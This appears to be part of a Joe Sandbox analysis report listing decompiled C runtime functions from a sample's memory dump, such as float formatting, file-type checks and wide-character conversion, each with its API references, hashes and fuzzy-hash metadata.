						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E001EF340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E001EF340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t186 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E001D8480(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E001EF340( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E001EF260();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E001EF260();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E001EF260();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E001E487D(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E001D8710(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E001DCB3C();
					_t183 = 0x22;
					 *_t129 = _t183;
					E001E1691();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x001e457a
0x001e4585
0x001e458c
0x001e458e
0x001e458e
0x001e4590
0x001e4599
0x001e459b
0x001e45a0
0x001e45a6
0x001e45bc
0x001e45c1
0x001e45c4
0x001e45d1
0x001e45d6
0x001e462a
0x001e4632
0x001e4634
0x001e4636
0x001e4639
0x001e4639
0x001e4639
0x001e463f
0x001e4647
0x001e465a
0x001e465d
0x001e465f
0x001e4662
0x001e4663
0x001e4684
0x001e4687
0x001e4687
0x001e4665
0x001e4665
0x001e4667
0x001e4672
0x001e4672
0x001e4674
0x001e467b
0x001e4676
0x001e4676
0x001e4676
0x001e4674
0x001e4688
0x001e468a
0x001e468b
0x001e468e
0x001e4690
0x001e469a
0x001e46a4
0x001e4692
0x001e4692
0x001e4692
0x001e46a9
0x001e46a9
0x001e46ae
0x001e46b1
0x001e46bc
0x001e46bc
0x001e46bc
0x001e46bc
0x001e46c0
0x001e46c7
0x001e46c8
0x001e46cb
0x001e46ce
0x001e46ce
0x001e46d0
0x00000000
0x00000000
0x001e46e8
0x001e46ef
0x001e46f3
0x001e46f6
0x001e46f9
0x001e46fb
0x001e46fb
0x001e46fb
0x001e46fd
0x001e4700
0x001e4703
0x001e4705
0x001e470d
0x001e4713
0x001e4716
0x001e4719
0x001e471a
0x001e471d
0x001e4720
0x001e4720
0x001e4725
0x001e4728
0x00000000
0x00000000
0x001e4740
0x001e4745
0x001e4749
0x00000000
0x00000000
0x001e474d
0x001e4750
0x001e4751
0x001e4751
0x001e4753
0x001e4756
0x00000000
0x00000000
0x001e4758
0x001e475b
0x001e4762
0x001e4765
0x001e4768
0x001e477e
0x001e477e
0x001e477e
0x001e476a
0x001e476a
0x001e476c
0x001e476f
0x001e477a
0x001e4771
0x001e4774
0x001e4774
0x001e476f
0x00000000
0x001e4768
0x001e475d
0x001e475d
0x001e475f
0x001e475f
0x001e46b3
0x001e46b3
0x001e46b6
0x001e4781
0x001e4781
0x001e4783
0x001e4785
0x001e4788
0x001e4789
0x001e478a
0x001e478b
0x001e4793
0x001e4793
0x001e4793
0x001e4795
0x001e4798
0x001e479b
0x001e479d
0x001e479d
0x001e479f
0x001e47b1
0x001e47b5
0x001e47b8
0x001e47bf
0x001e47c7
0x001e47c7
0x001e47ca
0x001e47cc
0x001e47dd
0x001e47dd
0x001e47e1
0x001e47e1
0x001e47e4
0x001e47e6
0x001e47e9
0x00000000
0x001e47ce
0x001e47ce
0x001e47d4
0x001e47d4
0x001e47d8
0x001e47eb
0x001e47eb
0x001e47ef
0x001e47f0
0x001e47f2
0x001e47f4
0x001e4835
0x001e4835
0x001e4837
0x001e4844
0x001e4844
0x001e4846
0x001e4848
0x001e4849
0x001e484a
0x001e4851
0x001e4854
0x001e4856
0x001e4856
0x001e4857
0x001e4859
0x001e485c
0x001e485c
0x001e485e
0x001e4860
0x00000000
0x001e4860
0x001e4839
0x001e483b
0x00000000
0x00000000
0x001e483d
0x00000000
0x00000000
0x001e483f
0x001e4842
0x00000000
0x00000000
0x00000000
0x001e4842
0x001e47fb
0x001e4801
0x001e4801
0x001e4803
0x001e4804
0x001e4805
0x001e4806
0x001e480d
0x001e4810
0x001e4812
0x001e4813
0x001e4815
0x001e4822
0x001e4822
0x001e4824
0x001e4826
0x001e4827
0x001e4828
0x001e482f
0x001e4832
0x001e4834
0x001e4834
0x00000000
0x001e4834
0x001e4817
0x001e4817
0x001e4819
0x00000000
0x00000000
0x001e481b
0x00000000
0x00000000
0x001e481d
0x001e4820
0x00000000
0x00000000
0x00000000
0x001e4820
0x001e47fd
0x001e47ff
0x00000000
0x00000000
0x00000000
0x001e47ff
0x001e47d0
0x001e47d2
0x00000000
0x00000000
0x00000000
0x001e47d2
0x001e47cc
0x00000000
0x001e46b6
0x001e46b1
0x001e45d8
0x001e45da
0x00000000
0x001e45dc
0x001e45f2
0x001e45f7
0x001e45f9
0x001e4605
0x001e460b
0x001e460c
0x001e460e
0x001e4610
0x001e461b
0x001e461b
0x001e461e
0x001e4620
0x001e4620
0x001e4623
0x001e45fb
0x001e45fb
0x001e45fb
0x00000000
0x001e45f9
0x001e45a8
0x001e45a8
0x001e45af
0x001e45b0
0x001e45b2
0x001e4864
0x001e4868
0x001e486d
0x001e486d
0x001e487c
0x001e487c

APIs

_strrchr.LIBCMT ref: 001E4605
__alldvrm.LIBCMT ref: 001E4806
__alldvrm.LIBCMT ref: 001E4828

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 91a47a860f0f35d3c3d1560714e28edf3d8cc567d17568eca3221eed4b5ef280
Instruction ID: f5822846e7af0de46b4b6ff61d8a3a7ca4a089d31f5e4ca40f0b4500bae6a501
Opcode Fuzzy Hash: 91a47a860f0f35d3c3d1560714e28edf3d8cc567d17568eca3221eed4b5ef280
Instruction Fuzzy Hash: A6A18872E00BC69FEB15CF5AC891BAEBBE4EF66300F19416DE5859B241C3348C41C790

Uniqueness

Uniqueness Score: -1.00%

Function 001DCEBB Relevance: 6.2, APIs: 4, Instructions: 172
pipeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DCEBB(signed int __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr* _a16) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void _v48;
				char _v64;
				void _v72;
				long _v76;
				intOrPtr _v80;
				char _v84;
				void* __ebx;
				signed int _t53;
				intOrPtr _t66;
				signed int _t68;
				int _t70;
				signed int _t81;
				signed int _t83;
				signed int _t85;
				intOrPtr _t98;
				signed int _t104;
				signed int _t109;
				signed int _t111;
				signed int _t118;
				void* _t121;
				intOrPtr* _t128;
				signed int _t130;
				intOrPtr _t140;

				_t118 = __edx;
				_t53 =  *0x1fc008; // 0x369f4a24
				_v8 = _t53 ^ _t130;
				_t128 = _a16;
				_t121 = _a12;
				_v80 = _a4;
				_v76 = _t121;
				_t104 = GetFileType(_t121) & 0xffff7fff;
				if(_t104 != 1) {
					__eflags = _t104 - 2;
					if(_t104 == 2) {
						L16:
						__eflags = _t104 - 2;
						 *((short*)(_t128 + 6)) = ((0 | _t104 != 0x00000002) - 0x00000001 & 0x00001000) + 0x1000;
						 *((short*)(_t128 + 8)) = 1;
						_t66 = _a8;
						 *((intOrPtr*)(_t128 + 0x10)) = _t66;
						 *_t128 = _t66;
						__eflags = _t104 - 2;
						if(_t104 != 2) {
							_t70 = PeekNamedPipe(_t121, 0, 0, 0,  &_v76, 0);
							__eflags = _t70;
							if(_t70 != 0) {
								 *((intOrPtr*)(_t128 + 0x14)) = _v76;
							}
						}
						_t68 = 1;
						__eflags = 1;
						L20:
						E001D7760();
						return _t68;
					}
					__eflags = _t104 - 3;
					if(_t104 == 3) {
						goto L16;
					}
					__eflags = _t104;
					if(_t104 != 0) {
						L15:
						E001DCB06(GetLastError());
						L14:
						_t68 = 0;
						goto L20;
					}
					 *((intOrPtr*)(E001DCB3C())) = 9;
					goto L14;
				}
				 *((short*)(_t128 + 8)) = 1;
				_t74 = _v80;
				if(_v80 == 0) {
					L4:
					_t109 = 0xa;
					memset( &_v48, 0, _t109 << 2);
					if(E001E37C2(0, _t140, _v76, 0,  &_v48, 0x28) == 0) {
						goto L15;
					}
					 *((short*)(_t128 + 6)) = E001DD1ED(0, _v16, _v80);
					_t81 = E001DD073(_v32, _v28, 0, 0);
					 *(_t128 + 0x20) = _t81;
					 *(_t128 + 0x24) = _t118;
					if((_t81 & _t118) == 0xffffffff) {
						goto L14;
					}
					_t24 = _t128 + 0x20; // 0x83cc758d
					_t83 = E001DD073(_v40, _v36,  *_t24, _t118);
					 *(_t128 + 0x18) = _t83;
					 *(_t128 + 0x1c) = _t118;
					if((_t83 & _t118) == 0xffffffff) {
						goto L14;
					}
					_t29 = _t128 + 0x24; // 0xcb830cc4
					_t30 = _t128 + 0x20; // 0x83cc758d
					_t85 = E001DD073(_v48, _v44,  *_t30,  *_t29);
					 *(_t128 + 0x28) = _t85;
					 *(_t128 + 0x2c) = _t118;
					_t144 = (_t85 & _t118) - 0xffffffff;
					if((_t85 & _t118) == 0xffffffff) {
						goto L14;
					}
					_t111 = 6;
					memset( &_v72, 0, _t111 << 2);
					if(E001E37C2(0, _t144, _v76, 1,  &_v72, 0x18) == 0) {
						goto L15;
					}
					_t39 = _t128 + 0x14; // 0x1dcdfd
					_t68 = E001DD1BB( &_v64, _t39) & 0xffffff00 | _t95 != 0x00000000;
					goto L20;
				}
				_v84 = 0;
				if(E001DD253(_t74,  &_v84) == 0) {
					goto L14;
				}
				_t98 = _v84 - 1;
				_t140 = _t98;
				 *((intOrPtr*)(_t128 + 0x10)) = _t98;
				 *_t128 = _t98;
				goto L4;
			}

0x001dcebb
0x001dcec3
0x001dceca
0x001dced2
0x001dced6
0x001dceda
0x001dcedd
0x001dceea
0x001dcef3
0x001dcfee
0x001dcff1
0x001dd01a
0x001dd021
0x001dd02c
0x001dd033
0x001dd037
0x001dd03a
0x001dd03d
0x001dd03f
0x001dd042
0x001dd04f
0x001dd055
0x001dd057
0x001dd05c
0x001dd05c
0x001dd057
0x001dd061
0x001dd061
0x001dd062
0x001dd06a
0x001dd072
0x001dd072
0x001dcff3
0x001dcff6
0x00000000
0x00000000
0x001dcff8
0x001dcffa
0x001dd00b
0x001dd012
0x001dd007
0x001dd007
0x00000000
0x001dd007
0x001dd001
0x00000000
0x001dd001
0x001dcef9
0x001dceff
0x001dcf04
0x001dcf26
0x001dcf28
0x001dcf30
0x001dcf41
0x00000000
0x00000000
0x001dcf58
0x001dcf5f
0x001dcf64
0x001dcf6c
0x001dcf72
0x00000000
0x00000000
0x001dcf79
0x001dcf82
0x001dcf87
0x001dcf8f
0x001dcf95
0x00000000
0x00000000
0x001dcf97
0x001dcf9a
0x001dcfa3
0x001dcfa8
0x001dcfb0
0x001dcfb3
0x001dcfb6
0x00000000
0x00000000
0x001dcfba
0x001dcfc0
0x001dcfd6
0x00000000
0x00000000
0x001dcfd8
0x001dcfe9
0x00000000
0x001dcfe9
0x001dcf09
0x001dcf17
0x00000000
0x00000000
0x001dcf20
0x001dcf20
0x001dcf21
0x001dcf24
0x00000000

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 001DCEE0

Part of subcall function 001DD253: __dosmaperr.LIBCMT ref: 001DD296

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001DCDE9), ref: 001DD00B
__dosmaperr.LIBCMT ref: 001DD012
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 001DD04F

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: __dosmaperr$ErrorFileLastNamedPeekPipeType
String ID:
API String ID: 3955570002-0
Opcode ID: 43641ecf081200552625ed994ce3acecd5abc4c1b98bc06b73b6538c7e78d4ac
Instruction ID: 786a9fecf0411ae514c49476d790c2899b651b2c642565aa3f329fa2016fd28e
Opcode Fuzzy Hash: 43641ecf081200552625ed994ce3acecd5abc4c1b98bc06b73b6538c7e78d4ac
Instruction Fuzzy Hash: FD519E72900608AFDB24DFB4DC419BEB7F9EF88310F14892AF456D7660E734A946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001E811B Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E001E811B(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				signed int _t34;
				signed int _t40;
				int _t45;
				int _t52;
				void* _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t71;
				signed int _t72;
				short* _t73;

				_t34 =  *0x1fc008; // 0x369f4a24
				_v8 = _t34 ^ _t72;
				_push(_t53);
				E001DB101(_t53,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t52 =  *(_v24 + 8);
					_t57 = _t52;
					_a24 = _t52;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					E001D7760();
					return _t67;
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t71 = 0;
					L11:
					if(_t71 != 0) {
						E001D8480(_t67, _t71, _t67, _t55);
						_t45 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t71, _v12);
						if(_t45 != 0) {
							_t67 = GetStringTypeW(_a8, _t71, _t45, _a20);
						}
					}
					L14:
					E001E8238(_t71);
					goto L15;
				}
				asm("sbb eax, eax");
				_t47 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t71 = E001E0964(_t63, _t47 & _t63);
					if(_t71 == 0) {
						goto L14;
					}
					 *_t71 = 0xdddd;
					L9:
					_t71 =  &(_t71[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E001EF360();
				_t71 = _t73;
				if(_t71 == 0) {
					goto L14;
				}
				 *_t71 = 0xcccc;
				goto L9;
			}

0x001e8123
0x001e812a
0x001e812d
0x001e8136
0x001e813b
0x001e8140
0x001e8145
0x001e8148
0x001e814a
0x001e814a
0x001e814f
0x001e8168
0x001e816e
0x001e8173
0x001e8212
0x001e8216
0x001e821b
0x001e821b
0x001e822f
0x001e8237
0x001e8237
0x001e8179
0x001e8181
0x001e8185
0x001e81d1
0x001e81d3
0x001e81d5
0x001e81da
0x001e81f1
0x001e81f9
0x001e8209
0x001e8209
0x001e81f9
0x001e820b
0x001e820c
0x00000000
0x001e8211
0x001e818c
0x001e818e
0x001e8190
0x001e8198
0x001e81b5
0x001e81bf
0x001e81c4
0x00000000
0x00000000
0x001e81c6
0x001e81cc
0x001e81cc
0x00000000
0x001e81cc
0x001e819c
0x001e81a0
0x001e81a5
0x001e81a9
0x00000000
0x00000000
0x001e81ab
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,001E3D50,?,00000000,?,00000001,?,?,00000001,001E3D50,?), ref: 001E8168
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001E81F1
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,001E0B60,?), ref: 001E8203
__freea.LIBCMT ref: 001E820C

Part of subcall function 001E0964: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,001E81BF,00000000,?,001E0B60,?,00000008,?,001E3D50,?,?,?), ref: 001E0996

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 79c57d920f11ae75a788b3cf1dc1b29a603ab5b70e1f39e1830d15d2ade3c5a9
Instruction ID: 9858b48d0546d91240a12905eebef9666c00f00a584801ddee03cabd467bf410
Opcode Fuzzy Hash: 79c57d920f11ae75a788b3cf1dc1b29a603ab5b70e1f39e1830d15d2ade3c5a9
Instruction Fuzzy Hash: F731AE72A00A4AAFDF259F65DC45EAF7BA5EB40710F050128FC19D6291EB35CD91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DE26B Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E001DE26B(void* __ecx, short* _a4, short* _a8) {
				int _t7;
				char* _t13;
				signed int _t14;
				char* _t15;
				int _t19;
				intOrPtr* _t20;
				short* _t21;
				void* _t22;
				void* _t25;
				int _t29;
				int _t33;
				intOrPtr _t35;
				char* _t36;

				_t25 = __ecx;
				_t7 = WideCharToMultiByte(0, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				_t21 = _a8;
				_t33 = _t7;
				_t35 = 0x2a;
				if(_t33 != 0) {
					if(_t21 != 0) {
						_t19 = WideCharToMultiByte(0, 0, _t21, 0xffffffff, 0, 0, 0, 0);
						if(_t19 == 0) {
							goto L1;
						} else {
							_t33 = _t33 + _t19;
						}
					}
				} else {
					L1:
					_t20 = E001DCB3C();
					_t33 = 0;
					 *_t20 = _t35;
				}
				_t36 = E001E0A4F(_t25, _t33, 1);
				if(_t36 == 0) {
					L8:
					_t22 = 0;
				} else {
					_t29 = WideCharToMultiByte(0, 0, _a4, 0xffffffff, _t36, _t33, 0, 0);
					if(_t29 != 0) {
						if(_t21 == 0) {
							L12:
							_t13 = _t36;
							_t36 = 0;
							_push(0);
							_push(_t13);
							_t14 = E001E695C(0);
							asm("sbb bl, bl");
							_t22 =  ~_t14 + 1;
						} else {
							_t15 = _t29 + _t36;
							 *((char*)(_t15 - 1)) = 0x3d;
							if(WideCharToMultiByte(0, 0, _t21, 0xffffffff, _t15, _t33 - _t29, 0, 0) == 0) {
								goto L7;
							} else {
								goto L12;
							}
						}
					} else {
						L7:
						 *((intOrPtr*)(E001DCB3C())) = 0x2a;
						goto L8;
					}
				}
				E001E092A(_t36);
				return _t22;
			}

0x001de26b
0x001de280
0x001de286
0x001de289
0x001de28d
0x001de290
0x001de29f
0x001de2ac
0x001de2b4
0x00000000
0x001de2b6
0x001de2b6
0x001de2b6
0x001de2b4
0x001de292
0x001de292
0x001de292
0x001de297
0x001de299
0x001de299
0x001de2c0
0x001de2c6
0x001de2ec
0x001de2ec
0x001de2c8
0x001de2db
0x001de2df
0x001de2fe
0x001de31e
0x001de31e
0x001de320
0x001de322
0x001de323
0x001de324
0x001de32e
0x001de331
0x001de300
0x001de302
0x001de309
0x001de31c
0x00000000
0x00000000
0x00000000
0x00000000
0x001de31c
0x001de2e1
0x001de2e1
0x001de2e6
0x00000000
0x001de2e6
0x001de2df
0x001de2ef
0x001de2fb

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,001DE12B,?,?), ref: 001DE280
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,001DE12B,?,?), ref: 001DE2AC
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,001DE12B,?,?), ref: 001DE2D5
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,001DE12B,?,?), ref: 001DE314

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: a357788fa813f0975b17dcba7b5fbc320f8d24084efbc3f059b49129c8387d3c
Instruction ID: 8edb4d3894b2a799950f52d642daff370acc4b2ac31f1ff952db1d4ee5096cb7
Opcode Fuzzy Hash: a357788fa813f0975b17dcba7b5fbc320f8d24084efbc3f059b49129c8387d3c
Instruction Fuzzy Hash: 3321A1B62452217EBB252A765C49EBB2A9CDB96BB5720032AFD18CA2C1DE758C048170

Uniqueness

Uniqueness Score: -1.00%

Function 001E7D3A Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E001E7D3A() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E001E7D03(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E001E0964(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E001E092A(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x001e7d49
0x001e7d4f
0x001e7da7
0x001e7da7
0x001e7d51
0x001e7d52
0x001e7d57
0x001e7d60
0x001e7d66
0x001e7d6c
0x001e7d71
0x00000000
0x001e7d73
0x001e7d79
0x001e7d7e
0x001e7d9c
0x001e7d96
0x001e7d96
0x001e7d98
0x001e7d98
0x001e7d9f
